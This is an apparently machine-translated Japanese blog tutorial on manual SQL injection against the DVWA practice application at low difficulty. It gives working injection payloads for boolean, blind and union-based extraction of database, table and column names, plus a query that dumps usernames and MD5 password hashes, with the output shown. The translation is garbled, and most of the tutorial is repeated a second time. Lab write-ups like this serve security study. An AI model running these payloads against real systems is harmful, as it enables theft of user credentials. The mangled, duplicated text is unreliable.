SQL手動注入学習実戦——dvwa lowからimpossible『low編』
コンセプト関連
PHPでSQL文を動的に構築する言語は
query="SELECT∗FROMusersWHEREusername=". _GET[“name”];
nameパラメータを制御し、実行するSQL文を変更することで、攻撃の目的を達成できます.
SQL文法については、まずphp文法を理解してから、これをします.
手作業注入編
ステップ1、注入点を判断する
ろんり推理しけんほうまず、データがどのように入力されているかを知る必要があります. GET要求、URLにパラメータ を送信 POST要求:データが要求体に含まれる .その他の注入:HTTP要求のその他の内容もSQL注入脆弱性 を出発する
あなたのwinsharkやbripsuiteを使うことを忘れないでください.バッグをつかむことで、より詳細な注入情報を得ることができます.
私たちはDVWAを例にして、一歩一歩難易度を高めて、まずlow難易度に調整して、それから私たちは1つを提出しました.
これが非常に一般的なGETメソッドです.このとき、sql文は
確かに何の問題もない文です.でももし’を入れたら?それは間違っています.mysql_だからquery()関数は、下りコードのmysql_でブール値を返します.fetch_array($sql)は実行に失敗し、PHPはmysql_を示す警告メッセージを表示します.fetch_array()の最初のパラメータはリソースでなければなりませんが、コードは実際の実行では、与えられたパラメータ値はブール値です.
and orメソッド
ページにエラーメッセージが返されない場合は、この方法を使用します.パラメータの後にand 1=1とand 1=2を加えて違いを探します.最初の条件は本当なので、2番目の条件は偽物です.そして、エラー結果が返されるかどうか見てみましょう.
加減法
一部の愚かな管理者は取得IDをデジタル型に書くので、私たちの「大法」は効果がありません.1+1(プラス記号は%2 bで代用)を入力してid=2の結果を返すかどうかを見ることができます.
総合と応用
入力が文字型または数字型であると判断する
枠に入力 1 1’ and 1=1 # 1’and 1=2#表示が存在しない;注入点を見つけて、文字型SQLブラインド注入TIPS:高級点で、私たちは#を%24に変えて、スペースを/**/に変えます.もちろん、一つ一つ説明しない置換法もたくさんありますが、これはlowレベル です.
ステップ2 oder byとunion select現在のライブラリ名を爆破
補足:lowのサーバーのコアコード(部分)私はCTFの中で間違いのコードを打ち出すことがあり得ないと感じます
-最初の列挙
1’and length(database()=1#を1つずつ試してみると、4が存在していることがわかります.後ASCII二分法1’and ascii(substr(database(),1,1)>97#を1つずつ探して、完全なライブラリ名dvwa を推測することができます.
TIPS:substr PHPの文字列検索関数substr(string,start,length)string-startの現在の文字列位置はもちろん(ここでは1,2,3,4一つ一つ列挙します)、lengthの場合正数はstart位置から戻り、負数の場合は文字列の末尾から戻ります.
正常な注入方法を話しますが、盲注は使えません.エラーメッセージを印刷しないからでしょう
注入点が見つかったら、1'order by「num」#でテーブル内の列数がlowレベルで1'order by 2#で実行可能であることを検索し、3になるとエラー情報を出力します.だから最大2列//この情報は肥腸が重要です
その後、select unionの方法で、キー情報を検索します.グレーがよく使う関数: version() user() database() @@version_complie_osはい、今1’union select database()を入力して、2#は私たちが前に苦労して見つけたdvdデータベースを得ることができます.
TIPS:union selectのときは必ずパラメータの位置を埋めなければなりません.数字で埋めてもいいし、関数で埋めてもいいです.バカにversion()を書いてはいけません.
ステップ3現在のテーブル名を爆破する
内容はこの作者に感謝して、これは私が見た1篇の盲注が書いたとても良い作者がまず表の数量を推測して1’and(select count(table_name)from information_を入力しますschema.tables where table_schema=database()=1#を試してみると、「置換=1の1は1,2,3,4,5,...」2が実行可能であることが分かった.次に、表名1’and length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1)=1#置換=1のうちの1は1,2,3,4,5,...発見9が可能である.だから長さは9 1’and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1)>97#はまたASCII二分段階に着いて、それから最初のテーブル名gusetbookを見つけてlimitの後ろの1を2に変えて、もう一度、2番目のテーブル名users私の母を見つけて、CTFの1本の盲注題は手作業でどのくらいします
アプリケーションinformation_schemaのデータベースは、MYSQLのみをサポートしており、テーブル名をすばやく爆破することができます.
まず文法を復習しましょう
入力1'union select database()#さっきやったよ~入力1'union select table_name,2 from information_schema.tables where table_schema=’dvwa’#キャプチャ情報
私の母、私は30分盲目で、普通の1分です.
ステップ4現在のフィールドを爆破する
まず、テーブル内のフィールドの数を1’and(select count(column_name)from information_schema.columns where table_name='users’)=1#ずつ試してみると、8には次のクイズフィールド名1'and length(substr((select column_name from information_schema.columns where table_name='users'limit 0,1)が存在することが分かった)=1#ずつ7文字列の長さが見つかった.後に著者は書かなかったが、道理を説くという盲注は本当に目がくらくらしている.あとで補う.
『ここでuserを例にとる』1’union select column_name,2 from information_schema.columns where table_name=’users’#
わあ、思庁が足りない!
パスワードの取得
盲注後で更新...
一般注入文入力:1'union select user,password from users#
よし手に入れた.次にMD 5を解読したり、Aクラスの同級生に渡したりしましょう.
一般注入、総括と関連ステップ1注入点キーワード文字注入点、ワイドバイト注入点、デジタル注入点 を探すステップ2現在のデータベース名を爆破する キーワードorder by,select union database() ステップ3現在のテーブル名を爆破 キーワードunion select table_name,2,3,4,5 from information_schema tables where table_scheme='ライブラリ名'# ステップ4現在のフィールド名を爆破 キーワードunion select column_name,2,3,4,5 from information_schema.columns where table_name='テーブル名'# ステップ5データ解析 キーワード復号アルゴリズム
他の注入方法については、その後の難易度で補います.盲注してからまた書くので、自分ではまだはっきりしていません.
2018年1月10日00:10:31
包みを焼く
PHPでSQL文を動的に構築する言語は
query="SELECT∗FROMusersWHEREusername=". _GET[“name”];
nameパラメータを制御し、実行するSQL文を変更することで、攻撃の目的を達成できます.
SQL文法については、まずphp文法を理解してから、これをします.
SELECT FROM
*
WHRER , WHRER SELECT
SELECT * from WHRER
手作業注入編
ステップ1、注入点を判断する
ろんり推理しけんほう
私たちはDVWAを例にして、一歩一歩難易度を高めて、まずlow難易度に調整して、それから私たちは1つを提出しました.
GET /DVWA/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
これが非常に一般的なGETメソッドです.このとき、sql文は
select * from users where id = 1
確かに何の問題もない文です.でももし’を入れたら?それは間違っています.mysql_だからquery()関数は、下りコードのmysql_でブール値を返します.fetch_array($sql)は実行に失敗し、PHPはmysql_を示す警告メッセージを表示します.fetch_array()の最初のパラメータはリソースでなければなりませんが、コードは実際の実行では、与えられたパラメータ値はブール値です.
and orメソッド
ページにエラーメッセージが返されない場合は、この方法を使用します.パラメータの後にand 1=1とand 1=2を加えて違いを探します.最初の条件は本当なので、2番目の条件は偽物です.そして、エラー結果が返されるかどうか見てみましょう.
加減法
一部の愚かな管理者は取得IDをデジタル型に書くので、私たちの「大法」は効果がありません.1+1(プラス記号は%2 bで代用)を入力してid=2の結果を返すかどうかを見ることができます.
総合と応用
入力が文字型または数字型であると判断する
枠に入力
ステップ2 oder byとunion select現在のライブラリ名を爆破
補足:lowのサーバーのコアコード(部分)私はCTFの中で間違いのコードを打ち出すことがあり得ないと感じます
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
-最初の列挙
1’and length(database()=1#を1つずつ試してみると、4が存在していることがわかります.
TIPS:substr PHPの文字列検索関数substr(string,start,length)string-startの現在の文字列位置はもちろん(ここでは1,2,3,4一つ一つ列挙します)、lengthの場合正数はstart位置から戻り、負数の場合は文字列の末尾から戻ります.
正常な注入方法を話しますが、盲注は使えません.エラーメッセージを印刷しないからでしょう
注入点が見つかったら、1'order by「num」#でテーブル内の列数がlowレベルで1'order by 2#で実行可能であることを検索し、3になるとエラー情報を出力します.だから最大2列//この情報は肥腸が重要です
その後、select unionの方法で、キー情報を検索します.グレーがよく使う関数:
TIPS:union selectのときは必ずパラメータの位置を埋めなければなりません.数字で埋めてもいいし、関数で埋めてもいいです.バカにversion()を書いてはいけません.
ステップ3現在のテーブル名を爆破する
内容はこの作者に感謝して、これは私が見た1篇の盲注が書いたとても良い作者がまず表の数量を推測して1’and(select count(table_name)from information_を入力しますschema.tables where table_schema=database()=1#を試してみると、「置換=1の1は1,2,3,4,5,...」2が実行可能であることが分かった.次に、表名1’and length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1)=1#置換=1のうちの1は1,2,3,4,5,...発見9が可能である.だから長さは9 1’and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1)>97#はまたASCII二分段階に着いて、それから最初のテーブル名gusetbookを見つけてlimitの後ろの1を2に変えて、もう一度、2番目のテーブル名users私の母を見つけて、CTFの1本の盲注題は手作業でどのくらいします
アプリケーションinformation_schemaのデータベースは、MYSQLのみをサポートしており、テーブル名をすばやく爆破することができます.
まず文法を復習しましょう
SELECT FROM
*
WHRER , WHRER SELECT
SELECT * from WHRER
入力1'union select database()#さっきやったよ~入力1'union select table_name,2 from information_schema.tables where table_schema=’dvwa’#キャプチャ情報
ID: 1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#
First name: admin
Surname: admin
ID: 1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#
First name: guestbook
Surname: 2
ID: 1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#
First name: users
Surname: 2
私の母、私は30分盲目で、普通の1分です.
ステップ4現在のフィールドを爆破する
まず、テーブル内のフィールドの数を1’and(select count(column_name)from information_schema.columns where table_name='users’)=1#ずつ試してみると、8には次のクイズフィールド名1'and length(substr((select column_name from information_schema.columns where table_name='users'limit 0,1)が存在することが分かった)=1#ずつ7文字列の長さが見つかった.後に著者は書かなかったが、道理を説くという盲注は本当に目がくらくらしている.あとで補う.
『ここでuserを例にとる』1’union select column_name,2 from information_schema.columns where table_name=’users’#
わあ、思庁が足りない!
ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: admin
Surname: admin
ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: user_id
Surname: 2
ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: first_name
Surname: 2
ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: last_name
Surname: 2
ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: user
Surname: 2
ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: password
Surname: 2
ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: avatar
Surname: 2
ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: last_login
Surname: 2
ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: failed_login
Surname: 2
ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: CURRENT_CONNECTIONS
Surname: 2
ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: TOTAL_CONNECTIONS
Surname: 2
パスワードの取得
盲注後で更新...
一般注入文入力:1'union select user,password from users#
ID: 1' union select user,password from users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: 1' union select user,password from users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: 1' union select user,password from users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1' union select user,password from users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1' union select user,password from users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
よし手に入れた.次にMD 5を解読したり、Aクラスの同級生に渡したりしましょう.
一般注入、総括と関連
他の注入方法については、その後の難易度で補います.盲注してからまた書くので、自分ではまだはっきりしていません.
2018年1月10日00:10:31
包みを焼く